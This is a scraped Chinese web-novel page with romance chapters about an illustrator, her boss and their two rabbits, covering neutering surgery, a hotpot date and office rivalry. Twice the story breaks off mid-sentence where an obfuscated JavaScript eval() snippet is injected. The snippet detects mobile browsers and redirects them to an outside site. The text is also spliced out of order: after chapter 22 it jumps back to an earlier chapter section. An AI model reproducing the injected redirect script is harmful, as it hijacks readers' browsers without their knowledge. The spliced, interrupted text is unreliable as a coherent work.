过了片刻,她手机微震,一张图片发来,元宝已经被陆言知装进兔包里,表情虽警觉,但不像被吓到的样子。 陆言知:[可以了,我在楼下等你。] 任舒晚迅速把蛋糕放进冰箱,拿起准备好的早餐,穿衣服出门。临关门时她又想到什么,折返拿了给元宝买的新兔包,就把煤球放这里面吧。 下楼后,熟悉的黑色宾利停在路边,陆言知双手插兜站在一旁。 他今天穿了一件黑色高领毛衣,外搭的深灰色大衣沉重厚实,翻领磨毛设计精致,更显矜贵气质。 任舒晚悄咪咪打量他一眼,比起 “元宝已经在后备箱了。”陆言知拉开副驾驶车门,“上车吧。” 上了车,任舒晚扣好安全带,压低声音道:“陆总,谢谢你的蛋糕。” 她小心翼翼地模样像偷东西的小仓鼠,圆溜溜的眼睛眨巴眨巴的,陆言知瞧了她一眼,打趣道:“这车给你封印了吗?” 任舒晚忙摇头,继续低声回答:“没有,我是怕元宝听到我的声音。” “不会。”陆言知了然地挑挑眉,示意她回头去看。 任舒晚循着视线望过去才发现前排和后排之间居然多了一层磨砂隔板,将宽阔地车厢一分为二。 陆言知:“她在后备箱,你在前面,正常说话她听不见。” 任舒晚松了口气,“那就好,我还怕功亏一篑。” 她从保温袋拿出咖啡,“陆总,热拿铁可以吗?” “可以。”陆言知刚想抬手去拿,她已经默契地递了过来,贴心地打开了直饮口,套了杯套防烫。 “我还做了早餐,不是吹牛哦,我做早餐的手艺非常好。”任舒晚笑眯眯道,“一会儿忙完陆总尝尝。” 陆言知勾起唇角,“嗯,好。” 半小时后到了陆言知家,他没把车停进车库而是放在了门口。 下车,走进小院,陆言知道:“一会儿我出来扔垃圾。” 任舒晚点点头,神色坚定,“放心,保证完成任务!” 看着陆言知进门,任舒晚选择藏在石阶下的银杏树后。 这个时节正好是银杏落叶的时候,萧瑟的秋风一吹,金黄的叶子打着旋儿地落下,将石阶和草坪铺满颜色。 任舒晚随着风抬手去接,恰好一片叶子落在掌心,比起方才混杂着绿色斑点的叶片,选中她的这片叶子通体金黄,不掺任何杂质,像抹了一层薄薄的蜂蜜,亮的干净。 她开心地看了一会儿,又小心翼翼装进随身的口袋,回家把它夹在书里,像小时候一样做个树叶书签。 陆言知开门的角度恰好能看到她的一举一动,她侧颜精致立体,一双澄澈的黑眸亮亮的,蕴满惊喜,仿佛坠了星光,闪闪烁烁,让人忍不住陷进去。 他呼吸有些乱,心跳也不受控制。 没有原因,她只是笑就能吸引他。 21. 第 21 章 静谧时刻,却不合时宜响起煤球蹦跳的声音,指甲触碰木门发出哒哒声。 任舒晚吓一跳,慌忙蹲下身藏起来。 陆言知思绪回拢,沉默放下垃圾袋,装作没有看到煤球,转身虚掩着门进屋了。 任舒晚缩成一团蹲在树下,默数五秒后噌的一下站起身,直接和蹦跶着下石阶的煤球撞上视线,她以迅雷不及掩耳盗铃之势果断出击,单手熟练抄起它的屁股,不给任何反应的机会,一把塞进了兔包。 拉链拉上,煤球圆溜溜的眼睛从透明窗处看出来,丝毫没有受惊的模样,只有一头雾水的疑惑。 任舒晚板起脸佯装凶狠样,“被我带走吃肉吧,小兔子!” 门内,陆言知哑然失笑。 任舒晚拎着兔走到车边,熟练地戴上口罩帽子,迅速打开后备箱,元宝的兔包放在一侧,透明窗也朝着一侧,完全看不到她,她满意地点点头把煤球放进去,确认无事才关上后备箱。 昏暗的小空间里,煤球和元宝隔着兔包的窗户大眼瞪小眼,好似两个天涯沦落兔在无声诉说它们被“拐卖”的悲惨故事。 任舒晚等了一会儿陆言知便出来了,两人开车直奔异宠医院。 医院很近,十分钟后车子就停到了门口。 两人互相拎着对方的兔,还要小心翼翼遮盖窗户位置,防止兔人互认。 到了约好的医生诊室,是一位气质优雅的中年女性,说话轻声细语,温柔和善。 医助接过两小只,医生看了看,道:“黑色叫煤球,小黄叫什么?” 任舒晚道:“元宝。” 医生点头,“得先做常规检查,确保没有心脏病才能手术。” 开了单子,医助带着两小只去旁边的检查室,医生则递给来两份术前知情同意书,“镇定剂、麻醉剂等必要的药物可能对宠物有副作用。术中、术后可能并发症,甚至危及生命,如若发生不测,我们会实施相关急救措施,一定会全力抢救。术后要严遵医嘱进行照料。” 任舒晚越听神色越紧张,昨天她看医生都不这样,反倒到了元宝,她心便揪起来了。 “知悉风险后可以签字了。” 医生递来笔,任舒晚有些愣神,一时没反应过来。 陆言知看了她一眼,从善如流替她接过医生的笔,“好的。” 说完,他又看向任舒晚,目光多了一丝认真,“不用担心,绝育只是一个很小的手术。” 任舒晚缓缓抬眸看去,在对上他视线的那一瞬,心忽然安定下来,她扬扬嘴角,“我知道。” 医生听到笑道:“小姑娘不用紧张,这只是例行公事,我做过很多场兔子绝育手术,风险很小,只不过我要把弊端跟你说清楚而已。” 任舒晚:“嗯嗯,谢谢医生。” 签完字,医助也从隔壁过来了,“苏医生,煤球元宝都很健康,可以进行手术了。” 苏医生:“好的。” 医生离开,医助领着两人去隔壁的休息室,那里有监控屏幕,可以直接看到手术室里的动向。 透过屏幕,煤球还在兔包里窝着,表情看上去十分警惕,反观元宝已经被按在了手术台上准备打麻醉。 任舒晚心里揪得难受,她看向医助,问道:“手术大概需要多长时间?” “半个小时到一个小时。”医助看出她的焦虑,“爸爸妈妈们不用担心,我们苏医生很有经验,如果觉得看到画面紧张,我可以帮忙关掉。” 任舒晚迟疑地看向陆言知,关掉吗?不知道陆言知想不想看,反正她看到元宝躺在那里一动不动很难受。 还没等她询问陆言知的意见,陆言知已经先一步开口了,“关掉吧,谢谢。” “好的。”医助关了监控出去了。 房间里只剩两人,陆言知忽而开口:“我没吃早餐。” “哦,对。”任舒晚注意力被转移,连忙从身旁的保温袋里拿出包装干净的恰巴塔,“青瓜酱加虾仁滑蛋,超好吃的,你尝尝。” “嗯。”陆言知看她笑意嫣然,“不害怕了?” “这么明显吗…”她窘迫地挠挠头,“不知道为什么,可能担心元宝吧。” 陆言知没说话,拆开恰巴塔的包装,无所顾忌地咬了一口,青瓜酱的清爽夹杂着滑蛋的细腻和芝士的香甜,鲜香美味。 “很好吃。”陆言知评价十分中肯。 任舒晚得意地扬起头,“我说过我做早餐技术很好的,保你在哪儿都吃不到这个口味。” “那怎么办?” 任舒晚一愣,“什么怎么办?” 陆言知:“你说在哪都吃不到,那我想吃了怎么办?” “那你可以聘请我当你的私人早餐师。”任舒晚顿了顿,笑眯眯继续道,“但那是另外的价钱。” 陆言知轻笑一声,“明天让人事拟合同。” 嗯???这不对吧!! “陆总,其实我觉得当原画师挺好的,我还想晋升中级呢。” “不冲突,两份工作,两份工资。”陆言知说。 任舒晚眨眨眼,好奇道:“那你给我开多少钱工资?一万?两万?五万?” 陆言知眸子微眯,“打劫?米其林三星主厨月薪也不比你高多少了。” “那不一样,我是私人!私人懂不懂,只有你能支配的那种。”任舒晚字字铿锵。 话音落,她忽地愣住,不对,好像不太对,这话怎么说得那么暧昧。 什么私人,什么支配,什么只有你,胡言乱语什么呢,任舒晚! “私人确实很有诱惑力。”陆言知沉吟道。 任舒晚慌忙垂下脑袋支支吾吾地应了声,咬了口恰巴塔,别想了,早饭好香好香。 接下来的时间,两人略显沉默的并肩啃早餐,直至医助敲门走了进来。 “兔爸爸兔妈妈,元宝手术很成功,现在还在苏醒阶段,一会儿就可以出来了,现在开始给煤球做手术了。” 任舒晚喜上眉梢,“好的,谢谢。” “不客气。” 医助离开,任舒晚又陷入沉思,不对,怎么连兔爸爸兔妈妈都听上去变亲密了,救命! 又等了半小时,煤球手术成功结束,在等苏醒阶段,陆言知接了个电话,有些工作要处理,就先去车上了。 任舒晚在休息室又等了一会儿,两小只才从手术室出来,元宝此时已经十分清醒,看到煤球昏昏沉沉躺在那,它还凑上去给它舔毛。 “患难见真情了。”任舒晚笑道。 医助接话,“两个宝宝在家打架吗?” 啊? 这话给任舒晚问不会了。 “它们也是今天第一次见。”任舒晚尴尬道。 这下换医助愣住了,“不好意思,我以为你们是一家人。” 任舒晚局促地陪笑两声,幸好陆言知不在,不然要尴尬到脚趾抠地了。 医生嘱咐术后注意事项时陆言知回来了,手里还多了一个宠物医院的手提袋。 拿着医嘱,两人一人抱着一只兔离开医院。 上车时任舒晚坐到了后排,他们没有把两小只装在兔包里,主要怕它们控制不住舔伤口,在座椅上坐着她还能监督着。 系好安全带,陆言知突然从前排侧身递来一个手提袋,就是刚才他从医院一路提出来的那个,“你打开看看。” 任舒晚一头雾水,拆开手提袋,里面是两个同样的红色纸盒,包装精致,封口处还贴心的粘贴了蝴蝶结贴纸。 她怀着好奇打开,映入眼帘的是一个可爱的针织宠物项圈,湖蓝色和白色搭配,领口处是领结样式的设计,下面坠了一颗胖乎乎的胡萝卜,针织钩得细致,触感软软糯糯很舒适。 “太可爱了吧!”她忍不住惊叹道。 陆言知微微勾唇,透过后视镜,漆黑的瞳仁满是温和柔软,“同款,刚刚在货架看到的,送给它们的礼物。” 任舒晚:“我小时候生病输液就期待我爸爸买玩具回来,记得有一次我爸加班,我发烧都烧迷糊了也不肯睡,就等着我爸下班回来带玩具,当时看到那辆遥控汽车觉得病都好了。” “那你童年很幸福。”陆言知说。 任舒晚笑眯眯地弯起眼角,“煤球也很幸福呀,我们元宝跟着沾光啦。” “喜不喜欢呀?”她拿着毛茸茸的项圈在两小只面前晃了晃,逗弄着它们不去舔毛。 没多久后,车子稳稳停在任舒晚家楼下,她抱着元宝准备下车,又有些不放心,“陆总,煤球自己在后排可以吗?我怕它会控制不住舔伤口。” 陆言知淡淡道:“没事,戴着伊丽莎白圈它舔不到,我也能看到它。” 任舒晚又看了眼煤球,它一路上确实很乖巧,不是在趴着就是在给元宝舔毛,两小只经过相处竟然意外的和谐。 她抱着元宝往煤球面前凑了凑,“那跟煤球说再见啦,等伤口恢复好了再一起玩。” 陆言知偏头看去,眉眼柔和。 下了车,任舒晚目送陆言知离开才上了楼。 到家后把元宝安顿在笼子里,术后四小时内禁水禁食,过了时间可以吃点蔬菜泥,医生还开了止疼药和益生菌,需要配合着一起吃,能保护肠道。 忙完,她简单吃了午饭,又想起陆言知买的蛋糕,便从冰箱里拿出来品尝一下。 拆开包装盒,香甜的奶油混着清新的葡萄香充斥在鼻尖,她拿手机找角度拍了张照片给陆言知发了过去,又打字道:[漂亮的蛋糕,谢谢大老板~] 陆言知没有立即回复,她收起手机,拆开叉子吃起来。 奶油丝滑细腻,有淡淡的葡萄香,上方点缀的新鲜葡萄也是不同种类,她挨个尝了尝,尝到了最喜欢的巨峰,酸酸甜甜,正好中和了奶油的甜腻。 她又拿手机拍了张被吃掉一半蛋糕,[不光好看还好吃^^] 吃了三分之二实在吃不下去了,肚子撑得浑圆,她只好收回冰箱,去给元宝做饭,顺便活动消食。 等她端着蔬菜泥从厨房出来了,手机响了一声,陆言知回了她一张照片,背景是煤球模糊的脸,主体是他端着的蓝色陶瓷碗,里面是翠绿的蔬菜泥。 接着他发来一条语音,“刚刚在给煤球做饭。” 手机又响一声,他再次发来一条语音,“他店里还有一款手作葡萄酸奶,下次买给你。” 声音隔着听筒传进耳朵,低沉磁性,语调微扬,任舒晚呼吸一滞,耳朵不禁染了色,她不仅颜控还音控啊,怎么能用这个考验人呢! 她迅速将手机移开耳畔,拍了张手里的碗转移话题。 比较起来,她碗里绿到发黑的蔬菜泥怎么都无法提起食欲。 她回了条语音过去,“求陆总赐教,我家元宝好像在吃猪食。” 隔了很久,任舒晚给元宝喂完饭才收到陆言知发来的一条视频,打开后是他录得做饭教程,并配着他清淡嗓音的细细讲解。 用了什么蔬菜,用的什么破壁机,打了多久,一步一步详细至极。 任舒晚愣愣看着,直至视频末尾他用一款粉色小碗盛出蔬菜泥时她才意识到,他居然为了给她拍教程又做了一份,心底忽地闪过一丝异样的情绪。 晚上给元宝做饭她就用上了陆言知的视频教程,同样的蔬菜和同样的操作,做出来果然苍翠欲滴,食欲满满,元宝吃得也比中午多得多。 她拍了照片反馈给陆言知,陆言知回了个小猫竖大拇指的表情,甚是可爱。 任舒晚退出微信,咸鱼小铺却忽然收到年卡老板发来的消息。 自上次她汇报没收到年卡老板回复,她便没有再找过她,想着年卡老板应该生活很忙碌,很少想起过去的往事,她总出现在她面前提起就像揭伤疤,索性勤勤恳恳完成代骂任务就行了。 点开消息,入眼是一长串的文字,任舒晚细细读完第一条,脸色微变。 [你好,我是恬恬的闺蜜小圆,我用她手机给你发消息是想请你帮个忙,不要再骂她前任了。] 接下来年卡老板的闺蜜小圆详细讲了最近发生的事,她称年卡老板叫恬恬,恬恬前几天去找前任,两人发生争吵,她心痛至极服用安眠药轻生,被家人及时发现送去医院洗胃,目前还在昏迷状态。 闺蜜小圆找任舒晚的原因很简单,她希望恬恬能跟过去的一切断绝联系,她打算等她康复带她去国外生活,她知道恬恬找了代骂,她怕代骂如果一直骂渣男,渣男会因此再找恬恬的麻烦。 任舒晚读完,久久不能平复心情,她很替年卡老板不值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938483|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,为了渣男轻易放弃自己的生命,太傻了。 她打字回道:[我明白您的心情,我也认可您的想法,代骂可以随时结束,剩余的钱我退给您。] 年卡老板:[不用,我找你不是想退钱的,是我们违约在先,钱不用退,只要别再骂他就好了。] 任舒晚没有听她的,切到备忘录看了一下,总共骂了49天,计算下来需要退1257.9元。 她通过咸鱼小铺的转账退了回去,小圆说什么都不肯收,几番拉扯之后对方才抱歉地收了钱。 熄掉手机,任舒晚躺在床上发呆,虽然只跟年卡老板接触过几次,但通过聊天能看出她是一个非常善良的女生,任舒晚希望她能早点从痛苦里走出来。 想到这,她恨不得再去臭骂一顿年卡渣男,太太太恶心了!!!!怪不得这段时间她骂他,他不回也不拉黑了,原来私下里作妖蛾子呢! 这时,耳边的手机一震,她拿起查看,工作微信收到一条添加好友的请求,对方备注:邓嘉霖。 通过请求,邓嘉霖发来一个小狗打招呼的表情包,[晚上好,我找祝笙要了你的微信。你今天怎么没来嘉年华现场看比赛?] 任舒晚:[我今天带兔去绝育了,就没去现场。] 邓嘉霖:[哦,原来如此,我的战队今天拿了第一名。] 任舒晚:[恭喜啊!] 邓嘉霖:[改天我们一起打游戏。] 任舒晚没有拒绝,她对邓嘉霖不反感,人长得好看,也有礼貌,是个不错的交朋友人选,至于其他的,她没想过,她短期目标就是升职涨工资,毕竟填饱肚子才是重中之重。 — 翌日周一,又是万恶的工作日,任舒晚耸拉着脑袋进办公室,一屁股坐到工位上,椅子还没捂热被陈月妍喊去了办公室。 门一关,陈月妍表情有些凝重,“安总监康复差不多了,本周就会回来上班了,如果项目组不忙的话你就需要退出项目组了。” 任舒晚早有预料,“好的妍姐,没问题。” 陈月妍:“不过安总监和陆总那边暂时还没说什么,我只是提前告诉你,你有个心理准备。” “没事。”任舒晚笑了笑,“当初加项目组你就告诉我了,我可以接受的。而且这次学了很多,我以前都没自己画过pv的分镜画,这次尝试了很多,受益匪浅。” 陈月妍非常喜欢她开朗的性格,沉重的表情随着她的安慰烟消云散,“还有一件事,年底晋升中级准备上报,美术部够年限的一共你们五个人,三个名额,跟往年一样,会出命题稿,稿件交上去由高级原画师和安总监评审,再结合个人风格确定三位人选。” 陈月妍顿了顿,“有蔡晓敏。” 话不用说明白,任舒晚已经知道陈月妍想表达什么,她需要防着蔡晓敏背后耍花招。 “好,我会小心的。”任舒晚说。 陈月妍点点头,“等命题出来再告诉你,我相信你没问题的,这次项目组的经历让你成长很多,蝴蝶月的新皮肤就是你能力的证明。” 任舒晚从陈月妍办公室出来就去公司门口拿外卖了,正巧碰见蔡晓敏一身烟味从楼梯间出来,她看了任舒晚一眼,鼻子不是鼻子,脸不是脸的。 任舒晚猜她应该也知道了晋升的事,懒得搭理她,拿着外卖就往回走,刚背过身去就听到她在后面冷哼了一声,任舒晚翻个白眼,这人上辈子横死的吗,怨气这么大。 两天后,安逸正式回归岗位,任舒晚也被他喊去了办公室。 偌大的房间,两人面对面坐着,安逸见她表情严肃,忍不住笑了声,“不用紧张,找你来是想说一下后续的工作安排。周年庆你付出很多,成绩很好,但破晓项目组不缺人,所以我回来你就需要回到原来的岗位了,可以吧?” 任舒晚点点头,“好的,明白,总监。” 安逸:“你学习能力强,日后好好加油,遇到问题可以随时来找我。” 离开安逸办公室,回到工位,任舒晚在项目群里发了简单的感谢和告别准备退出项目群,毕竟群聊里经常涉及私密任务,她不在项目组里,不适合继续呆在里面。 消息刚发完,石洋就回复了:[辛苦了,感谢小任在周年庆的鼎力支持,祝接下来一切顺利!] 紧接着就有其他同事附和着发来祝福,一条接一条,很快占据屏幕。 直到消息停滞慢下来,任舒晚才回了个可爱的表情,[谢谢大家的祝福,希望日后有机会继续合作,我退群了。] 她退出项目组的消息传得很快,临近午休就在茶水间听到了流言蜚语,笑她设计的皮肤上线又能怎么样,不还是干完活就得卷铺盖走人。 更有荒谬的说法称原本安总监是许她留在项目组的,但因为她不合群,就又把她踢出来了。 任舒晚听了都想笑,这些人脑洞这么大,怎么到了画稿的时候一个个喊着没灵感呢? 不过她也明白,美术部办公室每个人都存在竞争关系,背后诋毁再正常不过了,也没什么可气的,反正都是些莫须有的事情罢了。 与此同时,安逸办公室,陆言知敲门而入,脸色阴沉,浑身戾气,“为什么不跟我商量?” 安逸正四仰八叉躺在沙发上和女朋友煲电话粥,闻声歪头看向他,一脸莫名其妙,“商量啥?” “任舒晚退出项目组。”陆言知说。 安逸疑惑挠头,“这还用商量嘛,这不是共识吗?美术组用不了那么多人你又不是不知道。难道我休息几天你变霸权了?” 陆言知冰冷的视线落在他拿手机的右手上,如有实质,“你手能画?” 安逸被点着了,噌的一下坐起来,扬起手就给他展示,“能画啊,怎么就不能画了,我只是受过伤,又不是没了手。你又吃什么炸药了?谁又惹你不高兴了?” 陆言知顿了顿,“没。” 他已经四天没见过任舒晚了,往常项目组例会还能见到,现在完全没有碰面的机会,只有偶尔在微信上交流兔子的恢复情况,但它们也快康复了。 他脸色又沉了几分,并且她已经连续四天没骂过他了,晚上不骂,白天不骂,原因不明。 “不对。”安逸审视着他,讳莫如深地摇了摇头,“你很不对。” 22. 第 22 章 安逸摸着下巴思忖道:“你莫名其妙跑来找我,又这么大脾气,完全不是你平时的风格。” 他点点头,继续往下顺,“你来找我是为了……诶,为什么来着?” 陆言知抬眸,嫌弃地睨了他一眼,“你打电话吧。” 说罢,他转身就要走,安逸却猛的一下从沙发上站起来,“我想起来了,你为了小任退项目组!” 陆言知抿紧唇,甚是无语。 “小任是挺好啊,别看年轻,有我当年风范。”安逸夸别人还不忘带上自己,“不过破晓早步入正轨了,真不缺原画师啊,倒是新手游美术组可以考虑拉她来当主力军了。” 陆言知迈出去的步子瞬时停住,沉黯的眸底忽闪了闪。 安逸自说自话地摇摇头,“不对,怎么感觉还是怪怪的。” 陆言知眉梢微挑,旋即转身入座,“正好谈一下新手游的市场分析。” “啊。”安逸本就乱的思绪被他打断,硬生生忘了刚才自己在纠结什么。 一涉及工作,陆言知就变得无比严肃认真,好好的午休又变成了加班狂的工作时间,熬到最后,安逸开始赶他,“哥,求你了,你让我睡会行吗?” 陆言知瞥他一眼,“歇了一个月都没歇够?” “谁能跟你一样,视工作如命。”安逸索性将他拖起来往门口推,“我们下午再聊,下午再聊,你也好好休息。” 门一开一关,陆言知被安逸“礼貌”请出了办公室。 世界回归安静,安逸再次躺回沙发给女友打电话,铃声响了几秒被接听,听筒传来江一若清脆好听的声音,“安逸,你怎么那么傻!” 上来就被骂,安逸委屈地吸吸鼻子,“干嘛啊宝宝,我又做错什么了……” “你没明白陆言知什么意思吗??”江一若恨铁不成钢道。 两人刚刚谈工作前的对话江一若听得一清二楚,陆言知明摆着是来兴师问罪的,就安逸这地主家的傻儿子听不出来。 安逸:“什么意思啊,宝宝,我不懂。” “陆言知八成喜欢那个叫小任的女孩子。”江一若说。 没头没尾,没凭没据的一句话给安逸吓了个懵,“啥?你咋知道的???” “我咋知道的,我咋知道的,就你傻了吧唧的不知道。”江一若隔着屏幕都想给他脑袋来一巴掌,“不信你去问他。” 安逸头晃得像拨浪鼓,“我不敢,他那臭脾气。” 江一若:“那你观察吧,八九不离十。” — 下午临近下班,任舒晚收到了邓嘉霖发来的消息,约她晚上一起去吃一家新开的火锅。 她没有拒绝,约好时间地点,下班便坐地铁过去跟他碰面。 火锅店跟她回家同一方向,轻车熟路上了地铁,中途站下车,出了地铁口走几百米便看到了店铺红火的招牌。 虽是新开的店但生意极好,门口人头攒动,十分火爆,排队的塑料座椅坐满人,邓嘉霖站在其中,格外夺目。 他穿了一件深绿色毛衣,搭了一件白色长裤,再配上精致立体的五官,格外干净利落。他手里捧着一小束鲜花,见到她后便递了上来。 任舒晚跑得气息不匀,“不好意思,下班有点晚,迟到了。” “没事,还没到我们。”他扬了扬手里的排号,上挑的桃花眼微眯,“很快了。” 任舒晚将怀里的花抱紧,一小束粉色玫瑰,不张扬,又很能表达心意,侧面看出他是一个很有教养的男生,跟女生约会会带礼物,知道人多会提前来排队。 很快服务员便上前来喊他们用餐,进了屋子,川香麻辣的锅底气味直冲鼻尖,任舒晚忍不住捂着嘴打了个喷嚏。 邓嘉霖仓皇问道:“你不能吃辣吗?我问祝笙,她说你喜欢吃川渝口味的。” 任舒晚揉着鼻子摇头,“不是,我是喜欢吃,就是突然闻到有点冲,一会儿就好了。” 入了座,邓嘉霖先给她倒了杯温水。 任舒晚接过抿了一口,问道:“你今晚怎么有时间出来吃饭,不用直播吗?” 邓嘉霖笑了笑,“驴不舒服了也得歇一天吧。” 任舒晚被他逗笑,“怎么还有人这么形容自己的。” 见她开怀,邓嘉霖神情也不再那么紧绷,“话糙理不糙,直播看似比较自由,其实跟上班没差,每周还只能休一天。” 任舒晚没深入了解过他的行业,不过也大概清楚,什么工作都一样,每天打游戏打数小时也没那么幸福,起码肩颈腰椎就很受罪。 闲聊着,锅底和菜品都端了上来,红彤彤的牛油锅,烧起来咕嘟咕嘟冒泡,下入牛羊肉,瞬间裹满红油,再蘸上灵魂油碟料,解辣增香,让人直流口水。 邓嘉霖:“你调得油碟好吃。” 任舒晚得意道:“对吧,我可是资深吃货。” 这时,她桌上的手机忽然响了一下,屏幕点亮,是微信收到了新消息,她放下筷子查看,是陆言知发来的。 点开才看到他一个小时前就发来了一张图片,是煤球叼着干草呆萌的照片并配文:[煤球恢复差不多了,元宝怎么样了?] 她当时手机在包里没听到,后来吃饭聊天也没看手机。 这会儿陆言知看她没回复,又发来一条:[你吃过晚饭了吗?] 她抿了口水,打字道:[在吃啦,跟朋友来吃一家新开的火锅,味道很不错。] 她拍了张桌面的照片发过去。 [今天还没管元宝小朋友,它也恢复的差不多了,现在应该在吃自助晚饭呢。] 任舒晚回完,含笑熄掉手机。 邓嘉霖不着痕迹看她一眼,“有好事?笑那么开心。” 任舒晚笑意更深,“没,我们大老板。” “该不会让你回去加班吧?”邓嘉霖顿了顿,“也不对,加班应该哭起来了。” 任舒晚忍不住笑出声,初次见他时没发现他说话这么幽默,接触下来倒是很有趣的一个人。 “当然不是,是在说养得兔子,那天他家兔子跟我家兔子一块去绝育了。” 邓嘉霖了然地点点头,“我可以看看你养得兔子吗?” “当然了。” 任舒晚找出元宝的照片给他看,有叼着干草的,有窝在她腿上的,每张都呆萌可爱。 “好小一只,萌萌的。”邓嘉霖夸赞道,“果然主人可爱,养得宠物也可爱。” 太油嘴滑舌了。 任舒晚瞪他一眼,“不是吃得辣锅吗,怎么成饭后甜点了。” 邓嘉霖哈哈大笑,“是是是。” 手机那边,陆言知点开照片,沉黯的眸子微微眯起,照片中角落位置露出一个手机,手机壳是破晓瞬间周边款,角色是箫沉。 他见过,很熟悉,他知道手机的主人是谁。 他关掉照片,打字,[明天晚上我要带煤球去复查,你有时间吗?带着元宝一起去吧。] 消息发出去,任舒晚很久没回复,他盯着手机,又点开了照片。 — 任舒晚和邓嘉霖在地铁口分道扬镳,上了地铁,她才看到陆言知发得消息。 [有的,我带着元宝一起。] 陆言知回复很快,[明天晚上下班我先陪你回去接元宝。] 任舒晚犹豫着皱起眉,最近总麻烦陆言知了,她觉得怪不好意思的,[不用啦,太麻烦了,我坐地铁回去,接了它去宠物医院跟你们碰面。] 陆言知:[不麻烦,明天下班等我。] 第二天下午临近下班,任舒晚就收到陆言知的微信,[我在地库等你。] 她回了个收到的表情包,连忙关电脑收拾东西,时间一到就打卡下楼,本来就挺添麻烦了,哪好真让大老板等她。 任舒晚走到电梯口等电梯的时候,又碰到从楼梯间出来的蔡晓敏,她一身烟味,不知道又抽了多少。 任舒晚瞥了她一眼,视若无睹地继续等电梯。 蔡晓敏受不了被她忽略,冷哼一声,嘲讽道:“下班真积极。” 任舒晚不咸不淡地回道:“跟你有关系吗?你家住海边吗?管得真宽。” 蔡晓敏:“我愿意。” 任舒晚慢条斯理看向她,“你愿意的事多了,谁搭理你?” 电梯门叮的一声开了,任舒晚看了一眼,视线再次落到蔡晓敏脸上,“有病就去治,我不是兽医。” 说罢,她抬步上了电梯,气得蔡晓敏原地直跺脚。 任舒晚下到负一层,刚出楼梯间就看到熟悉的黑色宾利停在门口,她扫了周围一眼,见四下无人才迅速钻进车里。 门关上,她抬眸对上陆言知的视线,甜甜一笑,“陆总好。” 话音刚落,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任舒晚眼疾手快将它抓进怀里,“元宝,再调皮就进兔包。” 元宝转转眼睛,往任舒晚怀里拱了拱,似乎表示知道了。 果然之后的路程它没有继续攻击陆言知,只是时不时警惕地看着他。 陆言知有些无奈,他担心的事还是发生了。 到了任舒晚家楼下,陆言知把后备箱打开,里面放着一袋玩具和一个不大不小的纸箱子。 “我帮你拿上去吧。”陆言知说道。 任舒晚点点头,“那带着煤球一起吧,正好还没吃晚饭,我的晚餐厨艺虽然一般,但能填饱肚子。” 陆言知笑了笑,“好的,任厨师。” 于是,任舒晚抱兔,陆言知拿玩具,两人一前一后上了楼。 进了门,把两小只撒开,它们迅速占领房间,开启上蹿下跳模式。 陆言知把玩具放在玄关处,任舒晚给他拿了一双自己的新拖鞋,“嗯…可能有点小。” “没事。” 陆言知脱了皮鞋,穿上那双粉色带着猫猫脑袋的棉拖,露出一半脚后跟,甚是滑稽。 任舒晚瞧了一眼忍不住笑出声。 陆言知眯眸看她,“下次我自带。” “小猫拖鞋不好看吗?”任舒晚故意打趣他。 他抿了抿唇,无奈道:“你说呢?” “我说当然好看了,不然我干嘛买呢!”任舒晚笑嘻嘻地扬起下巴,“就是陆总的脚好像有点不满意。” 她眼底笑意更深,整个眸子亮晶晶的,他望过去,看到了自己的倒影。 任舒晚洗过手便进了厨房,陆言知紧随其后,“需要我帮忙吗?” “暂时不需要。”任舒晚站在冰箱前有些为难,“就是不知道做什么,面?或者馄饨?” 陆言知站在她身后往冰箱里瞧,蔬菜,鸡蛋、肉样样齐全。 “愿意吃辣椒牛肉拌面吗?”陆言知问道。 任舒晚眼睛一亮,无辣不欢星人已经蠢蠢欲动了,“好啊,不过我不会,你介意我现学现卖吗?” 陆言知无奈看她一眼,“我来做。” 16-20 第16章 第 16 章 引导型老板 陆言知:“你看右边窗户。” 任舒晚依言转头, 巨幅落地窗外,明月高悬,银白色月光如水倾泻而下, 聚集一汪微凉的亮, 散落地面。 陆言知走到窗前, 银辉随即洒在他侧颜,一半隐在暗处, 深邃神秘, 一半显在明处,干净清冽。他微微侧身移动,月光仿佛与黑暗交织在一起, 盈盈流动,变化无常。 “光源分虚实、软硬, 月光属于软光源,更远更柔和。由于光源远,阴影则会更实。漫射光散在人物身上,应该会产生边缘模糊的阴影,而非一束浓重的暗。” 陆言知就这么站在月光下缓缓说着, 任舒晚有那么一瞬是恍惚的, 她感觉眼前的人仿佛从天而降般出现, 吹散她眼前的迷雾,带着她一点点走出困境, 迎接黎明。 “光影逻辑的基石是合理性, 它必须符合规律, 右侧斜射过来的光源产生的投影大致朝向左侧。”陆言知移动步子,指着地上自己的影子认真阐述。 任舒晚盯着他的指向,如梦初醒, 她陷入了逻辑怪圈,她只想着如何引导观众的视觉焦点,却忽视了光影的底层逻辑,光源、光线、投影关系,这一切确定好才能再去利用光影表达情绪。 “我懂了!” 她眼睛一亮,迅速坐回工位拿起笔开始改稿。 陆言知没说话,平静站在窗前看着她,周遭昏暗,只有她的桌面亮着澄澈的灯光,明亮而透彻,倒映在她黑色瞳仁里,干净如秋水般透明见底。 她很聪明,是个好学生。 他敛眸,唇角笑意渐深。 任舒晚将画稿中错误的光影删除,重新规划月光角度和投影朝向,正思索之际,一个突如其来的念头冲上脑海,她猛地抬头看向陆言知,“陆总,我还有个问题。” 她打开桌面的台灯,俯身从抽屉里掏出上次五星级酒店外卖的手提包装袋,“你知道这是什么料子吗?” 她将包装袋移到光下,轻轻晃动手腕展示布料的粼粼波光。 陆言知走进,只是略微看了一眼,沉思一瞬,便道:“应该是琉璃缎。” “琉璃缎?”任舒晚重复一遍,仰头看他,虚心求教。 